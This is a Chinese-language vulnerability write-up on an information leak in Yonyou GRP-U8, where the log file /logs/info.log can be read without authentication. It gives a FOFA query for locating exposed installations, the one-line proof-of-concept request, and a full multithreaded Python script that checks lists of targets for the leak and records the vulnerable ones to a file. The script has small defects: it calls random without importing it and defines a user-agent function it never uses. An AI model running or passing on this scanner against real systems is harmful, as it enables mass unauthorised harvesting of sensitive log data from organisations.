用友GRP-U8存在日志信息泄露

漏洞描述

友U8系统可直接访问log日志，泄露敏感信息

漏洞复现

fofa语法：app="用友-GRP-U8"
POC：
GET /logs/info.log HTTP/1.1

批量脚本

MzzdToT师傅写的python脚本，脚本下载链接：https://github.com/MzzdToT/HAC_Bored_Writing

#coding:utf-8
import requests
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
from time import time


#body="U8Accid" || title="GRP-U8" || body="用友优普信息技术有限公司"

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url_list=[]

#随机ua
def get_ua():
	first_num = random.randint(55, 62)
	third_num = random.randint(0, 3200)
	fourth_num = random.randint(0, 140)
	os_type = [
		'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',
		'(Macintosh; Intel Mac OS X 10_12_6)'
	]
	chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

	ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
				   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
				  )
	return ua

#有漏洞的url写入文件	
def wirte_targets(vurl, filename):
	with open(filename, "a+") as f:
		f.write(vurl + "\n")

def check_url(url):
	url=parse.urlparse(url)
	url=url.scheme + '://' + url.netloc
	url=url + '/logs/info.log'
	# print(url)
	try:
		res = requests.get(url, verify=False, allow_redirects=True, timeout=100)
		if res.status_code == 200:
			lines = res.text.split('\n')[:100]
			truncated_response = '\n'.join(lines)
			if "INFO" in truncated_response:
				print("\033[32m[+]{} is vulnerable. \033[0m".format(url))
				wirte_targets(url,"vuln.txt")
		else:
			print("\033[31m[-]{} is no vulnerable. {}\033[0m".format(url,res.status_code))
	except Exception as e:
		print("[!]{} is timeout {}\033[0m".format(url,e))
		pass


def multithreading(url_list, pools=5):
	works = []
	for i in url_list:
		# works.append((func_params, None))
		works.append(i)
	# print(works)
	pool = threadpool.ThreadPool(pools)
	reqs = threadpool.makeRequests(check_url, works)
	[pool.putRequest(req) for req in reqs]
	pool.wait()


if __name__ == '__main__':
	show = r'''

	用友GRP-U8 info.log
	                                                                    
                        info.log scan By when
	'''
	print(show + '\n')
	arg=ArgumentParser(description='check_url By when')
	arg.add_argument("-u",
						"--url",
						help="Target URL; Example:python3 GRP-U8_loginfo.py -u http://ip:port")
	arg.add_argument("-f",
						"--file",
						help="Target URL; Example:python3 GRP-U8_loginfo.py -f url.txt")
	args=arg.parse_args()
	url=args.url
	filename=args.file
	print("[+]任务开始.....")
	start=time()
	if url != None and filename == None:
		check_url(url)
	elif url == None and filename != None:
		for i in open(filename):
			i=i.replace('\n','')
			url_list.append(i)
		multithreading(url_list,10)
	end=time()
	print('任务完成,用时%ds.' %(end-start))